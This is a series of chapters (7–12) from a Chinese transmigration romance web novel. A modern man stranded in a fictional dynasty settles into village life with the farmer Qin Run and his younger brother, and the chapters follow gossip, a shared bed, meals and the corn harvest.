一听许云帆要找其他人帮忙,秦润赶忙摇头,“不可以找其他人。” “那你倒是帮我擦啊!”许云帆无奈至极,“我平时爱干净,这会真的太难受了,比脚疼还让人难以忍受。” 知道有哥儿这种生物后,许云帆回想起来,当时央求秦润给自己擦身子的他,与流氓应该没什么两样。 许云帆洗澡洗到一半,赫然想起,乖乖,他没有换洗的衣服。 换下的衣服,已经被他扔进一旁的盆里,已经湿了,还怎么穿? 难不成要裸着身子出去? 他一个生在红旗下的男人,真的做不出这等事。 许云帆刚想张口喊秦润,秦润的声音先一步传来,“云帆,衣服我放外面的凳子上,虽然是我穿过的,但我洗干净了,你别嫌弃。” 7. 第 7 章 《夫郎家的小相公他超甜》全本免费阅读 自古民不与官斗,在村里,李、孙两氏闹的再厉害,一见到官老爷,一个个还不是跟鹌鹑似的。 哪怕心里不满这般安排,他们心里有气,但在衙役面前,还不是屁都不敢放一个。 好在,秦氏一族并没有分到原本属于他们的田地,而是自行开荒。 老一辈的恩恩怨怨,一辈说给一辈听,原本是一些鸡毛蒜皮的事,传的多了,自然也就变成了几氏的大事。 下山时,许云帆提议,对外,他与秦润就是远房表兄弟,因些事,所以过来投奔秦润。 哪知,秦润吞吞吐吐的告诉他,自己被他捡回来的事,村里人都知道了。 村里人,别的传不快,就这家长里短的事传得最快。 同个村的,谁家有几门亲戚,村里的妇人,兴许比本家人知道的还要清楚。 小秦家,据秦润说,他父亲早年离家,后来回来,与族中人关系还算融洽,但除了族人,旁的亲戚却是没有的。 秦润的外家,听说也是以前逃难过来,压根没别的亲戚了。 许云帆卧床那几天,秦安不懂事,又许是有哥夫太高兴了,急于跟人分享,见村里大娘大婶每次路过他们家院子,伸长脖子往里瞧时,或者人家问他许云帆是谁时,秦安便会傻乐的告诉她们,许云帆是他的哥夫咧。 所以,许云帆跑的时候,其他人不就早早吃了晚饭,等在路口,坐等着看秦润笑话嘛。 秦安有很多事不懂,指不定哪天就能把“哥夫”与大哥分房睡的消息说漏嘴,到时候那些多嘴的妇人,该不会以为自己嫌弃秦润,以至于连同房都不愿吧! 许云帆是知道的,在这种地方,夫夫分房睡,旁人指不定要胡说八道,瞎猜一通。 想到这,许云帆想,自己随秦润回来,好像无论如何,吃亏的,被议论的,终究还是秦润。 到时候,自己站稳脚,弄清大晏朝的情况了,可以拍拍屁股潇洒走人,秦润呢? 他要怎么办? 其他人又会怎么说?怎么想? 流言蜚语,是一把无形的利刃,是可以杀人于无形的存在。 许云帆越想越烦躁,双手抓揪着头发,突然一道低沉的声音从头顶响起,“怎么了?头痒吗?” 秦润伸手在许云帆头上抓了几下后,手却还覆压在他的头发上。 许云帆的头发很软,很顺滑,让人摸了爱不释手,秦润自认为很小心的摸了摸,“还痒吗?” 村里的孩子,有的头上会有虱子,秦润不认为许云帆这么短的头发会有虱子,他看过了,许云帆的头发干干净净的,一颗虱子蛋都没有。 许云帆顺着秦润道:“不痒了。” 秦润失望的哦了一声,拿开手,拉过一张矮凳子坐在许云帆的旁边。 “安哥儿洗好了怎么不出来?” “他在泡脚。” 一问一答后,许云帆不知该说什么了,空气突然变得格外的安静,安静到让人尴尬。 许云帆不喜欢这样的氛围,绞尽脑汁的想找话题,可脑子里想的都是今晚到底要不要跟秦润睡一张床。 真是纠结死个人了! 要是秦润是个汉子,那该有多好,同床共枕就没什么好介意的了。 正当许云帆不知找什么话题打破这份安静的尴尬时,秦润开口了,“你的头发为何这般短?” 秦润犹记得,他发现许云帆的时候,对方身上穿的,戴的,皆是他不曾见过的。 许云帆捡起地上一根小木棍,挑着火塘中的火星,“我们那里,男人,也就是汉子,基本都是留短发,当然,个别搞艺术的除外。” “你那里和我这里不一样。”秦润肯定的道:“这件事,你不要在外头说,更不要让安哥儿知道,他很容易被人套话。” 许云帆不是这里的人,突然就出现在山上,秦润胆子大,不怕,其他人就不好说了。 真让有心人知道许云帆的来历,只怕许云帆会有麻烦。 “我知道,旁人要是问起,我就说我是还俗的和尚,这样说行吗?”许云帆问道。 秦润思考了会,“你还是说你从海外来的吧,你……看起来就不像和尚。” 许云帆一愣,也是,哪有还俗的和尚像他这样与女人过不去。 到时候,人家让他念经颂文,难不成他来回就念一句,“色不异空,空不异色,色即是空,空即是色”吗? 而且,等他有条件了,肯定是要大口吃肉的,谁敢惹他,按照他吃不了亏,受不了气的性子,这拳头只怕会控制不住。 秦润道:“我在镇上江边扛过货,听人说,在府城那边,有大船去往海外,海外国,比我们大晏好很多。” “成,海外来的就海外来的,那我是不是得去县衙里登记办理一下户籍文书?” “需要去的。”秦润犹豫起来,“你……你打算什么时候去?” 他本想说,许云帆要不要记在他家户籍上,转念一想,如此一来,许云帆不就成了秦家的入赘哥婿了吗? 入赘的女婿、哥婿,名声大抵都不太好听,许云帆不一定乐意。 “这个需要银子才能办吗?”许云帆身无分文,需要银子的话,只得日后再说。 “嗯,确实需要点银子打点,我会想办法的。” 闻言,许云帆张了张嘴,没说话了。 今晚的大梨村,注定是热闹的。 这不,经过目击证人,几位村妇的功劳,许云帆替秦润出头,怼了李婶婆媳一事,一个晚上的功夫,可以说,就大梨村来说,已经是家喻户晓了。 事关小儿子的前途,李婶忧心仲仲,翻来覆去睡不着,胳膊肘推了把身边累了一整天的汉子,“当家的,你说,那个许云帆,当真会去找云飞的夫子吗?” 李宝山闭着眼,闻言轻嗤一声,不在意的应了句,“所以说妇道人家就是妇道人家,轻易就被人唬住了,他是什么人?人家夫子是什么人,岂是他想见就见,想与夫子交谈就能与夫子交谈的?” 8. 第 8 章 《夫郎家的小相公他超甜》全本免费阅读 对于秦大娘的话,秦大伯没想太多,许小子他是见过的,能替润哥儿出头,还算有点良心,“知道就知道呗,有啥好担心的。” 秦大娘:“我能不担心吗?这会,他们肯定觉得他俩成了,可我看许小子似乎对润哥儿没那意思。” 活了几十年,秦大娘自有一套看人的眼光,今晚,面对她,许云帆的眼神,明显在闪躲,像做了亏心事。 “哎呀,别多想了,成不成也不是你担心了就能解决的事,这人呐,要走的,你留不住,真心想留的,你赶都赶不走。” * 吃烤红薯吃的正香的许云帆完全不知道,这会,他已然成了村民们的谈资。 不过就算许云帆知道了也无所谓,嘴巴长在其他人身上,只要不在他面前说难听的话,背后,爱怎么说怎么说,反正他也听不见,更不会少一块肉,心态好到爆表。 秦润拿起烤红薯在地上拍了拍,将其上的灰震落,这才将外面的皮给剥干净送给许云帆,“好吃吗?” 这些红薯留的久了,失了部分水分,糖分比较高,经过高温烤熟之后,剥开外层的红薯皮,便能看到一层红薯油,有的红薯油甚至渗透到红薯表皮,别看红薯油黏黏的像油一样,其实它是糖,吃起来,贼甜! 将红薯埋进带有火星的火灰里烤,有的地方,难免有点焦,但红薯皮内侧的那层烤得焦香的地方也是很好吃的。 许云帆吃的很香,哪怕速度快,举止投足间不失优雅,因为吃的好,不吝啬的对秦润笑弯了眼,眉目间,尽是让人挪不开的帅气,“好吃,很甜,你也吃一个。” 此时的秦润,面对许云帆如沐春风的笑意,脑子里只有八个字——风华月貌,颜如舜华! 一不小心,竟是看呆了。 回过神的秦润尴尬的摇摇头,“我不吃,好吃的话,明天做饭的时候,我再给你烤,好不好?” “好。”许云帆享受的眯起眼,扭头问身边安静吃红薯的安哥儿,“安哥儿,明天你吃不吃?” “哥夫吃,我就吃。”秦安仰头对许云帆羞涩的笑了笑,“不过我只吃一个,烤红薯吃多了,放屁会很臭,会被人说的。” 许云帆哈哈哈大笑起来,“臭就臭呗,只要不在别人面前放不就好了,自己偷偷的放,别人闻不到,自然就不知道你放屁臭不臭了。” “还可以这样吗?” “怎么不可以?”许云帆又咬了一口,舌头将嘴里的红薯往左腮帮顶,“放屁不是很正常吗?就是皇……谁不放屁了,又不是仙女仙男,只要吃东西的人,都会放屁。” 秦润看着许云帆这般可爱的模样,赶忙别开脸,省得让许云帆看到他脸红的模样。 “仙女仙男?那是什么?”秦安没听过神话故事,自然不知这些。 许云帆随口道:“就是天上的仙人呗,你不知道?” 秦润仔细听着许云帆与秦安的对话,他对许云帆很满意,一眼就喜欢上了,可许云帆对他…… 他的事暂且先不说,许云帆住在这里,会不会对秦安不耐烦?又会不会嫌弃秦安傻呢? 以前秦润就想找一个对他,以及对秦安好的汗子,可他知道,这样的人很难找到,私心里,秦润是希望许云帆留下的。 他长的丑,但架不住有一身的力气,种田下地都是一把好手。 去年隔壁村的一位大婶就跟他说,有家人对他挺满意,不过那汉子娶了个媳妇,他过去,就是做小的,前提是,还不能带秦安过去。 秦润知道对方打的什么主意,不就是想找个免费的长工下人使唤吗? 他才不傻,一口就拒绝了,那汉子颇为恼怒,扬言秦润人长的不怎么样,心气倒是高,连他都看不上,是想嫁大门大户之人,也不看看就他那丑样,有个汉子愿意娶就该偷笑着烧高香了,居然还有脸挑。 这下子,秦润的名声更差了。 秦润明白,没有哪个汉子不介意娶个哥儿还顺带养小舅子的。 不说其他人,就是他自己,平时干活忙了,累了,回到家只想好好的休息,面对秦安的一些问题,有时候他都是敷衍以待,甚至在累及的时候,还会隐隐的觉得不耐烦。 每每如此过后,秦润便会被强烈的愧疚,后悔所淹没。 亲哥尚且如此,他又有什么资格去要求别人对秦安好呢。 就是外边的孩子,对秦安也不太友好,嫌他笨,问的多,日子久了,秦安便很少出门玩了,话也少了很多,只有想问问题时,嘴巴才会多一点。 这会听到秦安又来了,秦润下意识紧绷起来。 他看眼许云帆,只一眼便移开视线,专心将手上红薯焦黑的地方弄干净,眼眸低垂着,心中却带着少许的期翼。 听到许云帆类似敷衍的回应,秦润心里有着说不出的失落。 秦安摇摇头,“没有,天上真的会有仙人吗?他们怎么可以住的那么高呢?我以为小鸟住在树上,已经是最高的了。” 秦安歪着脑袋,显然想不明白,“哥夫,难道仙人能住天上,是因为他们跟鸟儿一样,长了翅膀吗?” 许云帆听着好笑,对秦安这个可爱的弟弟,许云帆语气柔和了几分,“不是哦,仙人,那是存在于神话传说中的存在,现实世界里是没有仙人存在的,不过,在神话故事以及一些小说中,仙人,无一不是绝色之人,所以,很多人夸哪个女孩子长的好看,会便说她长得像个小仙女一样。” “那孩子呢,如果孩子好看呢,要怎么夸呢?”秦安显然来了兴趣,甜甜的红薯都忘了吃,杏仁大的眼睛亮晶晶盯着许云帆看。 不知道为什么,他和哥夫说话时,特别是得到对方的回应时,心里就很激动,有一股莫名的,隐隐的开心和兴奋,说不清道不明,难以形容,非让他说的话,他也说不出个所以然来。 每每这种时候,他便笑,以此让哥夫知道,能够得到他的回应,自己很高兴,很开心。 小小年纪的他还不懂得这 9. 第 9 章 《夫郎家的小相公他超甜》全本免费阅读 秦安被吓到了,捂住自己的嘴巴,可怜兮兮的道:“呜呜呜~哥夫,我不要虫子吃掉我的牙齿,没有牙牙,以后就吃不了东西,会死掉的,我不要死掉。” 脑子不够灵活的秦安记得,村里有几个老人家,牙齿就是黑乎乎的,快掉光了,最后他们吃不了东西,然后就不在了,睡进了木头做的四四方方的床里,被几个汉子抬上山。 他很害怕,很伤心。 许云帆好笑的摸摸秦安的头顶,暗想,这个安哥儿,真的太单纯了点,“不会的,从现在起,我们要保护好我们牙齿,注意清洁卫生,它就不会坏了,不用害怕。” 秦安赶忙对秦润道:“大哥,我要漱口,我不要牙齿坏掉。” 闻言,秦润想起有的老人确实会有牙疼的情况,摸黑去拿两根柳树枝过来,“你用这个刷牙可以吗?家里没有专门用来漱口的牙粉,过几天我再去买。” 许云帆接过柳枝,将其泡到水里,“用这个就可以了,家里条件有限,我不挑。” 在村里,家家户户都是用柳枝刷牙,有条件的,会用牙粉,不过按照小秦家的情况,牙粉是不指望了,毕竟那样的“奢侈品”他们买不起。 秦润听怕了,也跟着漱口,三人排排站,动作出奇一致的整齐划一,看上去倒是很和谐。 许云帆犹豫再三,还是把秦润喊进屋,“那个……” 许云帆第一次开口说这种话,明明做好了思想准备,几次“那个”后还是说不出个下文来。 “你是担心安哥儿不懂事,将我们分房睡的事说出去吗?” 秦润不傻,将许云帆看的透透的,许云帆眼睛一亮,扭捏的问,“你怎么知道我在想什么?” 天哦,如果这都不是所谓的心有灵犀一点通,那怎样的才算? 秦润未免太懂他了吧! 可惜自己一个直男,不喜欢男人,也不喜欢哥儿。 “猜的。” 许云帆翻身上床,自动滚到里侧,自我洗脑把秦润当哥们看,拍拍身边的位置,“上来睡觉了,你放心,我是直男,不会对你动手动脚的,我可以拿我的人格担保。” 秦润借着窗外的月光脱下身上的外衣,平躺在外侧,不说话,他倒巴不得许云帆对他动手动脚呢。 只是,直男是什么意思呢? 秦润想着事,加上第一次跟个汉子躺一张床,身边的人,长的那么俊,每一处都长在自己的审美点上,要说不紧张,急促的心跳声骗不了人。 秦润一动不敢动,生怕吵到身边的许云帆。 好一会,秦润强迫自己睡去,越如此,越是睡不着,一旁的许云帆也好不到哪去。 肌肤相触传来的温度,几乎要灼烫到他的心底,许云帆无端有些燥热,热血上涌。 许云帆本能的拉开距离,后背紧贴着墙,好像秦润是什么洪水猛兽,轻易不敢靠近。 侧睡的许云帆,眼睛装作不经意的看向“睡着”的秦润脸上。 “我艹~”许云帆低骂一声,秦润的鼻梁怎么可以那么好看那么挺? 侧脸怎么可以这么有形? 秦润说晚,该睡觉了,其实这时间不过八点半九点左右,这个点哪里晚了? 今天跑了一天的山,刚吃了几个红薯,许云帆哪里睡得着。 这会,精神奕奕的人,像条虫子,蠕动着身子,往床角挪动着,许云帆往下挪了一个头,然后看眼秦润。 继续挪第二个第三个头,再看秦润一眼。 最后,许云帆往上一蹬腿,人又到了床头,微微起身,看了秦润一眼。 再起身,再看秦润一眼。 换了各个方位角度将秦润的睡颜看了一遍,许云帆又“我靠”一声。 许云帆靠完,乖乖的躺回去,暗道,这就是所谓的侧颜杀? 无论换什么角度看,秦润好像都是一百八十度没有死角,这颜值,快赶上自己了。 就这,居然还是那些妇人口中的丑哥儿,真是一帮没眼光的,不会欣赏美。 秦润忍了很久,实在憋不住了,轻声问道:“睡不着?” 以为睡着的人突然出声,许云帆吓了一跳,“你没睡着啊?” 秦润想,许云帆是怎么好意思问出这种话的?自己像条虫子似的动来动去,这张床本就不结实,他要是能睡着,不成猪了? “醒了。”秦润不好说自己紧张的睡不着觉,只能说自己睡着了又醒。 许云帆不好意思的笑一声,“是我打扰到你了吧,不好意思啊,我吃得太饱了,有点睡不着,你放心,我不动了,你累了一天,快睡吧。” 也许是真的累了,秦润再紧张也抵挡不住困意袭来的冲击。 第二天,许云帆起床时,身边早已没了秦润的身影,太阳已经升起,估计得有七点半八点的样子。 许云帆打开门,听到声音的秦安哒哒哒的跑过来,“哥夫,你醒啦,要漱口了吗,我给你打水拿柳条。” “我自己来,你告诉许哥,柳条在哪就成。”许云帆还没丧心病狂到让秦安伺候他的地步。 “你大哥呢?一大早的,他去哪了?”许云帆一边喝着不知秦润上来哪借来的精米煮的白粥,一边问。 秦安不知是真傻还是假傻,直接来了一句,“哥夫,现在已经是巳时了,不早了,太阳都升的老高咯,我都去割了一箩筐猪草回来了,等了好久你才醒,大哥天蒙蒙亮就去干活了。” “咳……”许云帆被白粥呛到,咳的脸都红了,所以,全家人,就他睡了懒觉,真是有脸了,“你怎么不喊我起来?” 秦安很自然的回:“大哥说哥夫没睡够,不能吵到你休息。” 说着,秦安跑进厨房,从后门处拿出一张卷不起来的竹席,再拿出一张砧板出来,开始砍猪草。 “安哥儿,你手上的伤好了?”许云帆囫囵几口喝完粥,将碗搁在灶台上,抓起秦安的手查看起来,皱眉道:“你看看,伤没好,你干什么活?” 秦安的手心,破皮的地方虽然没有流血了,因为抓了猪 10. 第 10 章 《夫郎家的小相公他超甜》全本免费阅读 许云帆鼻孔喷出两道气,很好,看来是他昨天没把教训给到位,以至于,这个李婶不把他当回事了。 “安哥儿,那个李婶是不是经常说你大哥坏话啊?” “嗯。”秦安一边抹眼泪,一边点头。 “她家在哪?” “就在村口大槐树过去那座用青砖起的房子。”全村独一份。 许云帆又问,“她家不是有个读书人吗?他是不是每天都得去夫子那听课?” 秦安抬头看着许云帆,“哥夫说的是李童生吗?最近几天他不用去书院,现在是农忙,书院放假了。” 许云帆满意了,用湿漉漉的手直接抹在秦安脸上,将小哭猫哭花的脸蛋洗干净。 秦安哪里傻了? 傻子能这样,回答清晰,有问有答吗? 也不知道村里人为什么说秦安是傻子。 许云帆躺床上的那几天,秦安伺候在他床边,垂着脑袋,一声不吭,那副样子,看起来确实有点小问题, 但后来他与秦安交谈,这孩子,一开始紧张的吞吞吐吐说不出话,到现在说话溜的飞起,这哪里是傻了? 八成又是村里的长舌妇乱传。 许云帆心想着,这事不急,等傍晚吧,等人多了,他再去闹他一闹,看看李家要不要脸。 对付这种人,有道理是讲不通的,你得比她更能撒泼更能闹才能镇住人。 许云帆虽是一个心软的人,但,那也要看对象。 即使他是个富三代,但这不代表,他不会闹,把面子看得比黄金还重。 敢惹他,让他不愉快,敢伤害他的人,他势必要十倍奉还。 “对了,你大哥干嘛去了?”许云帆一边剁猪草一边问。 家养的猪,猪食很好弄,猪草剁碎一点,伴一点米糠或者玉米面之类的就可以喂了。 秦安蹲在一旁,担当技术指导,“大哥下地收玉米去了,哥夫,还要剁碎一点,你剁的太长了。” “收玉米了?”许云帆将之前剁过的猪草重新刮到砧板上,补上几刀,“这样可以了吗?” 秦安点点头,“可以了。” 许云帆问,“下一步呢?要怎么搞?猪在哪呢?你跟我说怎么做,我来喂。” 在秦安的指导下,许云帆提着一桶拌好的猪食往后院走。 小秦家的后院并不大,因为小秦家周边没有太近的邻居,后边没有其他人家,过去是几亩地,再过去就是山脚,秦润把猪圈建在后院,这样一来,味道就飘不到房里,也不会招太多的蚊子。 猪栏里,一只四十斤左右的小黑猪,看到人来了,也不怕,跑过来,仰起猪头,鼻子一动一动的,哼哼叫个不停。 许云帆笑起来,“这家伙,知道干饭时间到了呢。” 在他们站的这面的木板下边,放着由石头打造而成的猪槽。 猪槽大概有一米左右,不算太宽,大概有二三十厘米,左侧比较倾斜,下方有一个洞,被玉米心给塞住了。 平时猪吃不完猪食,剩下的水,或者清洗猪槽时可以从那处排水。 许云帆提起桶准备倒的时候,小猪前腿趴在木板上,用鼻子不停的拱着许云帆手里的木桶。 好几次,许云帆都不知道该怎么倒,深怕倒到猪头上,渐出去浪费了。 身边的秦安抓起放在一旁的木条,啪的就抽过去,直接把猪给打下去。 许云帆:“……” 小家伙,个头不小,却是个狠人呐! 许云帆倒完猪食,发现猪圈里打扫的还算干净,猪粪推成一推,不是他想象中的那种湿漉漉,苍蝇蚊子满天飞的环境。 可能是久闻不觉其臭,许云帆除了一开始的不适皱眉外,没呕也没吐。 可见,这位太子爷的适应性、忍受力还是很强的。 你看,他现在连猪都会喂了。 成功喂了猪,干了活,许云帆有些沾沾自喜,提着桶回去时,问,“家里还有什么要喂的吗?你可以放心交给我,保证能够完成任务。” 秦安摇头,小脸通红通红的,结结巴巴的说:“没……没有了,家里……家里的鸡前几天都卖了,只剩一头猪了。” 知道家里穷,哥夫是不是要不开心,要走了? 但是说谎骗人更不对。 许云帆明白了,因为给他请大夫,家里卖了鸡。 那几天,因为“返老孩童”,他的身体很虚,被秦润带回来的时候,因为掉陷阱里,崴了脚,还发了烧。 在古代,发烧这种小病,有时候也是要人命的。 许云帆可是老天送的小相公,秦润哪能看着人烧死,这不,掏光存银卖鸡卖鸭不算,还把最后一只留着下蛋,养了三年的母鸡杀了给他补身子。 而那些鸡,都是秦安辛辛苦苦挖蚯蚓喂大的,结果,自己一块肉没吃到,全被许云帆“嚯嚯”了。 但秦安没生气,说到这,还笑着问许云帆,自家喂的鸡,鸡肉好不好吃?鸡汤香不香? 面对秦安的笑容,许云帆说不出是什么滋味,只觉得心口像被什么堵住了一般,让人难受,呼吸艰涩。 他问,“你没吃到?鸡汤也没喝吗?” 他记得,他连续吃了两天的鸡肉,喝了两天的鸡汤,没那么虚之后,才一连吃了几天的野菜团子。 “没有呀!” 秦安傻乎乎的,一直面带笑意,“要留给哥夫补身子的。” 因为天气热,第一天煮了半只鸡,秦润问秦安吃不吃,秦安懂事的摇头说不吃,留给哥夫吃,秦润便把剩下的半只吊在井里,留着第二天煮。 不是秦润不疼弟弟,而是许云帆病的不轻。 许云帆眼眶一热,他是何德何能,让秦家兄弟待他这般好呢。 许云帆没说什么,洗干净手,“你哥在哪收玉米呢?你带我去吧。” “知道呀。” 秦安膝盖没有昨天那么疼了,做势要带路,许云帆拦下他,“你跟我说就行了,你在家等着就好,不用去。” 收玉米的时候,家家户户,能下地干活的全部出动。 而且,去哪里收,大家伙呼 11. 第 11 章 《夫郎家的小相公他超甜》全本免费阅读 许云帆说完就走,留下一众人,你看我,我看你,“这就是润哥儿带回来的汉子?不知道的,我还以为是哪来的哥儿呢,瞧那脸蛋白白嫩嫩的,只怕姑娘家都没他水灵吧。” 这个小伙子一说完,一旁的大叔一巴掌扇在他的后背上,扭头看许云帆走远了才放心,“胡说什么呢?要是让人听到了怎么办?” 一旁的另外一个小伙子道:“叔,堂哥说的没错啊,这人长的确实好看,之前娘回来说,我还不信咧,这会倒是信了。” “是啊,润哥儿……也不知道,这人是不是……” “是不是什么?”大叔见自家婆娘开始自寻烦恼了,“赶紧干活去,日头大了,晒死个人了。” 许云帆忙着找秦润,哪顾得上听其他人怎么评论他,走了一会,才看到秦润忙碌的背影。 “秦润!” 许云帆喊了一声,一开始,秦润以为自己听错了,没在意,直到许云帆又喊一声,“秦润,耳聋了?喊你好几声了。” 秦润确定自己没有听错,这真的是许云帆的声音,手上的玉米外衣剥到一半,秦润顾不上了,回头看去,果真是许云帆。 “你……你怎么来了,地里闷热,你快回去。” 许云帆不太高兴了,他来帮忙的,秦润见到他,不仅不高兴,怎么还一张口就让他回去? 他又不是来走红毯的,过个场就成。 “我来收玉米,不回去。” 秦润几步走到许云帆面前,“可是地里热,有很多灰尘,会痒的。” 许云帆固执道:“不回去,你做得,我就做得,少瞧不起人了。” 秦润看他是吃了秤砣铁了心,于是便问,“你知道怎么做吗?” 许云帆张口便回,“不知道。” 秦润:“……” 不会?不会你还说的那么牛。 “我不会,但我看你做的很简单,你示范一次,我就会了,这个一点难度都没有。” 难度系数不大的,看一眼,他还不会,岂不是比猪还笨。 秦润示范一次,许云帆看完,一下子就笑了,胸膛挺的很挺,扬起脸,意气风发道:“嗖意西,看我的。” 看许云帆一幅老子最聪明的样,秦润别开脸,有点想笑,明明这么简单的事,看他这幅样子,不知道的,还以为他是学会了什么了不得的,旁人轻易学不会的高技术活呢。 只不过是最简单的,三四岁孩童,一教就会的掰玉米罢了。 许云帆动作快,兴许是第一次做,竟觉得有几分有趣,两手捏住玉米外衣上方顶部长玉米须的地方,从中间一撕两半,往两边向下一扯,在握住玉米底部一折,玉米不就剥干净了么。 许云帆这人,胆大包天,唯独怕虫怕鬼。 这会一只虫子卷着身子,直接掉到手背上,看到那软乎乎的,蠕动的身体,许云帆瞳孔一震,顿觉心跳加速,呼吸加重,眼白差点没翻过来。 突然的惊恐让他忘了反应,脑子有那么一瞬间的死机后,许云帆把手一甩,将虫子甩飞出去。 哪料,一转头,发现秦润手上捏着一只虫子,然后一扔,脚一踩。 整个过程,动作行云流水,不拖泥带水,好似练习了千万遍的顺畅熟练。 许云帆:“.....”尖叫声就这么卡在了喉咙口,猛的被他咽下去。 两人一比,倒衬得他特别的不男人。 许云帆翻着手,将手背不断的在大腿外侧的裤子上擦着,试图将那种恶心的感觉摩擦掉,猛然抬头,赫然瞧见秦润背对着自己的身影。 许云帆下意识的打量起来,从上而下。 秦润穿着灰色的粗布衣服,七月中旬的日头晒得慌,后背上沾染出一大块湿漉漉的布料,若隐若现的勾勒出肌肉线条的弧度。 秦润的体型,看上去,并不是属于肌肉猛男的那一种,但却十分紧实,是类似于那种,穿衣显瘦,脱衣有肉,十分精瘦的身材。 他的手指,兴许是干活太多,有些粗,而且指头很长,听说这样的男人一般都“很行”。 但许云帆知道,这话大错特错了。 谁让秦润“很行”不起来呢,他就没那机会。 许云帆这般想着,倒是忘记了害怕,继续干活时,那种恶心的感觉又来了。 他换了一个位置,好像这样子,就不会再遇上恶心的虫子。 一块不大的玉米地,没一会功夫便被两人给掰完了。 整整收了八袋,外加满满一个大背篓。 许云帆对这个收获,并不满意。 他是太子爷不错,但他有个表哥入政,家里虽然有关系,但人家不搞那一套,刚开始的时候,表哥下过乡,从基层做起。 许云帆在去看望表哥时,在乡下住了一个暑假,他见过老乡收玉米,一把又大又长,颗粒饱满,均匀,不干瘪。 在收玉米的过程中,他已经看到好几颗玉米棒没有粒了。 许云帆挑着背篓里的玉米看,颇有种惨不忍睹的既视感。 “半拉脸”的玉米棒有,“秃头”的有,“满天星”的也有。 所谓的“半拉脸”,就是玉米棒没有籽。 “秃头”的,则是玉米棒上部分没有籽,或者籽粒干瘪,“满天星”就更过分了,一根玉米棒上,稀稀疏疏就有那么几颗籽粒,像长着玩似的。 八袋玉米棒,真把玉米籽剥下来,能有个三四袋估计就不错了。 就这样的收成,难怪家里十几亩地,交税之后,连基本的生活都维持不了。 当然,也不是所有玉米地的产出都是这样。 主要得看各家各户留的种。 许云帆问道:“这几袋,是要挑回去吗?没有马吗?” 来的路上,许云帆就没见过一匹马,难不成,大晏朝的农村,马匹是很贵重的牲畜不成? 秦润接下来的话,验证了他的猜测。 “是的,我们村只有孙爷爷家有牛车,他家也收玉米了,牛车自然借不到,你说的马,那是只有富贵人家才买得起,我们收玉米,例来都是用扁担挑回去的。” 许云帆又问,“我看你们村这地,基本都是平的,路也不算太窄,怎么不用推车呢?用推车的话不是更方便更省力吗?” “ 12. 第 12 章 《夫郎家的小相公他超甜》全本免费阅读 秦润皱着眉头,这么重,许云帆能背得动吗?别到半路就回不去了,“会不会太重了?” 许云帆摇摇头,“不重,你放就是了。” 秦润特意挑了一袋比较小的,“你把背篓屁股架到玉米袋上,待会就好起了。” 为了不让袋子落下来,秦润找了根藤条将其绑好。 往外走的时候,旁边地里的秦奶奶见了,“润哥儿,这就收完了?” “嗯,秦奶奶,秦木叔在家吗?”秦润扫视一眼,不见秦木,这才问道。 秦奶奶笑呵呵的,“在呢,这不,隔壁村的一户人家快成亲了,急着用家具,所以你秦木叔抽不出身来。” 许云帆背着背篓也过来了,瞧见秦奶奶家这才收到一半,一边擦汗一边问,“秦奶奶,还没收完呢?”七八个人干活,速度比他和秦润还慢,莫不是哪个偷奸耍滑了吧。 “还没呢,收够六袋了,我就让你几个叔伯先挑回去,回来再一起掰,这样也有机会休息一下,肩膀就不会那么疼了。” 许云帆“哦”了一声,“那我们先回去了哈,有空再聊呢。” “好咧,你们快回去吧。”秦奶奶瞧着许云帆后背上的那袋玉米,没想到这小伙子,干活还是挺有力气的,真是越看越满意了。 “这小子看起来弱不禁风的,力气倒是不小。”秦二撕着玉米外衣,目光落在健步如飞的许云帆身上,“走的那么快,不知道的,还以为他背了袋棉花呢。” 秦三闻言,也看了过去,“这难道就是所谓的人不可貌相?” 秦二媳妇秦三夫郎不说话,他们能说什么呢? 来的时候,他们只见润哥儿一个人来,许云帆长得好,原以为是个没力气不会下地干活的,不曾想,日头上来了,他反而来了。 感情这人是不嫌热啊! 秦润挑着两大袋玉米,一路上不知流了多少汗,有的汗流进眼睛里,他便拿一只手胡乱擦一通,喘气声也越来越重,更没心思与许云帆说什么。 反观许云帆,微微弓着背,气息平稳,手里掰折着顺手从路边扯来了草荆,亦步亦趋跟在秦润身后,目光幽幽落在秦润背上,不知在想着什么。 回到家,许云帆跟着秦润将玉米放到后院的空地上,重重呼出一口气,可热死个人了。 秦润却以为他是累的,“回去休息吧,等休息好了,我再带你去找秦木叔。” “你呢。”许云帆看秦润拿着扁担,似乎没有休息的打算。 “我去把剩下的挑回来。”按照他的体力,还能继续挑两趟,地里的玉米也就挑完了。 许云帆抬头看天,这个点,估摸得有十一点左右,“等下午凉快了再去吧,太热了,你放心,我看这天气,不会下雨的。” “下午还有下午的事。”秦润道:“这次怎么也得忙个二十来天,把玉米收回来后,还要准备秋种,到时候田里的稻谷也该收了。” 农忙时节,家家户户都忙得很,玉米等这些农作物,不把它收回来,一旦下雨被泡着了,有的就会发芽坏掉。 别人家里几十亩地,虽然比他家的地多,可相对的,人家家里劳动力也多。 “这么急干什么?十几亩地,收个十来天也就收完了,用不了那么久,不急这几个时辰。”许云帆不以为意,这收玉米本身不难,难的是把玉米挑回来,一来一回,忒耽误时间。 等他把推车做出来,一次推它个□□袋的,秦润负责在地里掰,他负责推。 按照秦润干活的速度,十几亩玉米地,十几天掰不完,只怕他是干活的时候摸鱼去了吧。 之所以往年秦润要收那么久,主要是地里离家远,他一次能挑两袋,一天又是收又是挑的,能收多少? 秦润欲言又止,终究是没说什么,看日头也大了,干脆道:“那我们先煮饭吃,随后我带你去秦木叔家。” 许云帆说的那么轻松,完全不知农忙的苦,秦润想,他应该是好面子,不下地,怕人说闲话,下地,又苦又累又热,想来是能拖一时是一时。 “好呀。”许云帆乐呵呵跟在秦润身边往前院走。 安哥儿在家早早煮好了粥,还煮了一大盘的南瓜。 许云帆看着水多米少的粥,就这玩意,喝下去再撒泡尿,估计也不剩什么了。 水煮南瓜当菜,没有蘸料就先不说了,这玩意,盐也放不够。 干了一早上的体力活,就吃这个? 许云帆脸干了又干,端起粥,呼噜呼噜几口,昧着良心道:“安哥儿煮的粥很好喝呢。” 是的,很好喝,粥到嘴里便可直接下肚,都不用怎么嚼。 虽然吃的不尽如意,但这是安哥儿辛苦准备的饭菜,许云帆乐的夸几句。 得到夸奖,安哥儿羞答答的将半边脸缩到桌下,双手捧着大碗,右手还夹着筷子,不时偷偷看许云帆几眼,心情愉悦。 秦润累了一早,这会见许云帆如此,一身的疲乏尽去,端起碗喝了一大口。 饭后,秦润带许云帆往秦木家去,“云帆,你那箱子我待会就去拿回来。” 